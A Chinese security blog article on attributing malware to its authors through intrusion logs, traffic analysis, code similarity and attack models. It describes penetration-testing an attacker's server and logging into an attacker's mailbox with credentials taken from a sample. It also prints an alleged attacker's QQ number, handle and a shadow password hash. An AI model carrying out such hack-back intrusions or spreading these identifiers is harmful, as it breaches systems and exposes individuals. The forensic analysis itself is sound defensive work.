通过分析获取到的样本,该样本为downloader程序,主要通过下载恶意软件之后运行,下载的IP地址如下所示:

对该IP进行渗透测试,最终获取到主机权限,通过对攻击者掌握的主机进行深入分析,最终定位到攻击者相关信息。

入侵日志

这种溯源分析方法偏向于主机取证分析,攻击者在入侵到主机后的行为分析。

对攻击者留下的大量操作日志进行分析后,可以提取相关攻击者的信息。

  1. 连接服务器使用VPS信息。
  2. 登陆主机后,一般为了维持对主机的访问权限,会尝试创建自己的账号及密码。
  3. 攻击者为了偷取数据,使用的ftp或者数据服务器信息。
  4. 通过对攻击者的登陆时间进行分析,可以基本定位所在大区域(北半球,南半球)。
  5. 登陆主机后的操作模型,不同的攻击者,入侵成功后进行的行为有差异,每个人都有自己的行为指纹特征。

简单举个例子,不少攻击者习惯使用自动化的工具,去提取主机上的敏感信息(网站,邮箱,比特币,网银等账号密码),入侵成功后(钓鱼,社工,水坑攻击等),会在受害者机器上安装间谍软件,进行主机行为监控,并且定时将截获的敏感信息上传到服务上。

大多使用三种通信方式窃取敏感信息:ftp,smtp,http。

案例1:

通过分析入侵日志,最终分析其留的监控程序,溯源分析的案例,该样本中攻击者使用加密的smtp服务器窃取敏感信息,在样本分析过程中可以获取到邮箱的用户名与密码:

利用获取到的登陆凭证可成功登陆攻击者邮箱:

在邮件内容中,发现了攻击者的真实邮箱,之后通过进一步溯源分析,定位到了攻击者。

下图是攻击者真实的twitter账号:

案例2:

攻击者在入侵成功后,留下的启动脚本中包含了攻击者的个人网络id,通过对该网络ID及QQ号码进行溯源分析,最终也成功定位到攻击者。

QQ: 2228668564 ID: icnanker
shadow: icnanker:$6$EIZwhnAX$m/IclCqhsFOBaZEgT2mVCYFy5bKH75rJ8Rlh/hwGs7DeR5AovmhrLS.V3naL6oizn6FCViwqKn6k9gqmoYNhs0:16866:0:99999:7:::

全流量分析

某些攻击者或者组织的反跟踪意识非常强,基本上不会留下任何痕迹,在达成入侵目的之后(窃取数据),会完全清除入侵痕迹,或者干脆销毁主机硬盘。

例如:2015年乌克兰电厂遭受攻击之后,攻击者利用killdisk组件销毁了全部数据。当然有些也不会留下在主机上的任何操作痕迹,部分勒索软件也是通过同样的手段进行痕迹擦除。

这类案例也非常多,基本上在受害者机器上找不到任何痕迹,这时进行全流量分析溯源就相当有效了。

例如:以2017年Flareon 4th逆向挑战赛最后一题为例:

描述了一个APT攻击场景,需要通过分析数据包及PE文件,还原整个攻击过程。

从网络下载加密的恶意代码在本地进行解密:

解密后的内容为一个远控端,其和主控端的通讯流量通过了全加密,网络传输数据格式如下:

相关的加解密及功能模块如下:

通过流量分析发现攻击者入侵行为如下:

  1. 黑客入侵到168.221.91后,先获取了屏幕截图(内容包含了一个密码)。
  2. 查看c:\work\FlareOn2017\Challenge_10\TODO.txt,发现larry相关提示(根据前期信息收集结果,可以知道johnson主机名)。
  3. 通过ping命令获取到内网johnson主机IP地址(192.168.221.105)。
  4. 使用psexec在johnson的主机上安装后门srv2.exe(监听本地16452端口)。
  5. 之后通过内网代理连接该后门,通过代理插件上传加密模块到了johnson的主机上c:\staging\cf.exe。
  6. 利用加密程序(exe)对lab10的文件进行加密,之后将原始文件删除,并且通过代理传到了黑客手里。

该案例中仅通过全流量分析,最终还原整个入侵过程、黑客攻击行为以及窃取的内容,而在真实的环境中需要结合入侵日志进一步对恶意样本攻击进行追踪溯源。

同源分析

该方法主要为在获取到恶意样本后,很难第一时间关联到攻击者或者恶意样本提供者的信息,但是可以通过和历史恶意代码进行相似度分析,获得历史攻击事件,从而关联到相应的组织或团体。

这种溯源方法多用于定位APT组织或者某些知名的黑客团体(方程式)的行动,需要投入大量的人力,时间去完成溯源跟踪分析。

APT组织或者知名黑客团队,一般都有各自的工具定制开发部门,负责各类工具的开发,以及漏洞利用工具的量产(从今年4月份泄露的方程式组织内部的工具以及CIA泄露的部分文档就可以看出端倪)。其部分划分组织架构都非常清晰,有专门负责工具开发的部门,例如:远控开发部门,硬件研究部门,漏洞挖掘部门,漏洞利用工具编写的部门等。

设计思路

每个程序员在软件实现的时候,会使用自己比较熟悉的一套代码风格和实现算法,每个团伙或者组织在攻击目标时也会有一套自己特有的攻击方法,针对恶意样本可以通过行为日志的相似度、代码混淆风格以及相关的实现算法进行同源判定。

例如:利用“破壳”漏洞投放的6个Bot具有同源性。

图片来源:

http://www.antiy.com/response/Analysis_Report_on_Sample_Set_of_Bash_Shellshock.html

编码特征

程序员在开发过程中,经常会复用部分现有代码(加密算法,功能模块),以提高开发效率。

样本分析人员通过跟踪分析某组织的大量攻击样本后,对其工具开发人员的编码风格(函数变量命名习惯,语种信息等),编程习惯有了深入了解。在此基础上,就能够通过编码风格准确溯源到相关组织。

下面是今年5月份爆发的wanncry蠕虫的溯源分析的案例:

https://blog.comae.io/wannacry-links-to-lazarus-group-dcea72c99d2d

Google研究者Neel Mehta在Twitter率先发布消息称,早期的WannaCry样本与Lazarus团伙使用的一款后门程序Contopee存在较高相似度。稍后卡巴斯基和赛门铁克研究者基于此发布了更多分析结果。

并且给出了代码相似度对比的图,以证明其推论:

通讯协议

每个恶意样本为了和之前的版本通讯协议进行兼容,一般会复用之前的通讯协议代码,通过跟踪分析通讯数据的格式特征进行同源判定。

Billgates上线数据格式

Xitele上线数据包格式

通过对比上面两个恶意样本上线包数据格式特征可以判定其为同源样本。

数字证书

数字证书是一个经证书授权中心数字签名的包含公开密钥拥有者信息以及公开密钥的文件。最简单的证书包含一个公开密钥、名称以及证书授权中心的数字签名。数字证书还有一个重要的特征就是只在特定的时间段内有效。

数字证书是一种权威性的电子文档,可以由权威公正的第三方机构,即CA中心签发的证书,也可以由企业级CA系统进行签发。

恶意软件为了躲避安全软件的检测,会使用数字证书对代码进行签名,而签名证书中的颁发给部分包含了软件的开发商的相关信息。

攻击模型

这种溯源方法主要见于某些专业化程度比较高的个人或者组织,他们有自己的攻击常规套路,并且长期专注于一个领域的攻击。

案例1:

之前的一次应急分析过程中遇到一个团伙,主要进行ssh弱口令爆破,该团队的就主要关注于ssh弱口令爆破,通过对该团队的溯源分析,了解到其攻击模型是:

  1. 扫描全网开放ssh服务端口的主机。
  2. 根据开放服务端口号,将每个端口号对应的ip保存到一个文件中。
  3. 并且定时的会对全网全端口进行扫描探测以便及时更新攻击目标数据。
  4. 对存在ssh弱口令的主机进行攻击。
  5. 利用成功入侵的主机作为节点,继续进行ssh弱口令爆破。
  6. 旨在构造一个大型的botnet系统。

除上面该实例外,还遇到不少,利用单一漏洞进行攻击的案例,如:struts2框架漏洞以及近期发现某团队利用webloglic WLS漏洞进行入侵挖矿的案例。

案例2:

下面举一个最有名的例子,2016年10月爆发的Mirai僵尸网络曾经一度使互联网产生恐慌,通过溯源分析最终定位到了该僵尸网络的作者。

Mirai僵尸网络就是一个很好的例子,攻击者主要利用物联网设备默认口令的问题,感染大量设备,之前沟通对其攻击模型的匹配,可以清楚的了解的组织的活动轨迹,并且通过对每一次活动留下的线索进行关联分析,最终定位到了攻击者团伙。

美国司法部最终披露称,三名男子就创建Mirai恶意软件并利用Mirai僵尸网络攻击多个目标的事实表示认罪。从法庭文档来看,这三名男子的名字是Paras Jha、Josiah White和Dalton Norman。

https://www.bleepingcomputer.com/news/security/us-charges-three-men-with-creating-and-running-first-ever-mirai-botnet/

案例3:

在一次应急响应中通过取证分析,了解到攻击使用的攻击模型如下:

  1. 注册域名,根据攻击目标选择有意义的域名。
  2. 在GitHub上注册一个新账户和创建一个开源项目。
  3. 编译源码后捆绑恶意软件,一般选择advanced installer作为捆绑打包器(还有AutoIt,NSIS)。
  4. 发布到搭建的网站上。
  5. 在互联网上发布推广其软件。
  6. 窃取用户敏感数据(账号密码)。
  7. 进行数据直接套现,或者通过信息倒卖平台间接变现。

之后利用该攻击模型对样本库中的文件进行筛选,定位到另外3套与该模型完全匹配的案例,进一步分析匹配到的样本后,首先确认了该4套样本出于同一开发团队,经过溯源分析准确定位到了攻击者。

结语

溯源分析旨在通过现象去发掘样本背后的故事,没有固定的套路可循,在分析过程中,要像侦探破案一样,大胆心细,不放过任何细枝末节,是一场人与人之间斗智斗勇的过程。

“天网恢恢疏而不漏“,溯源篇旨在抛砖引玉,将感兴趣的读者带入这个谜一样的世界!

以上纯属笔者个人的观点角度,意在抛砖引玉,引发读者去思考作为一名合格的恶意样本分析人员应该具备那些技能?仁者见仁智者见智点到为止。

不过有一点可以确认单纯掌握样本分析技能是远远不够的。下面列举了几个方向,感兴趣的读者可以去进行深入学习:

A)渗透测试

B)应急响应

C)取证分析

D)数据分析

E)漏洞分析

掌握上述技能后,以守为攻,变换角色,从多个维度去进行样本分析攻击溯源,进而输出高质量的样本分析报告。

文章来源:绿盟科技博客
Viewing all 240 articles
Browse latest View live




Latest Images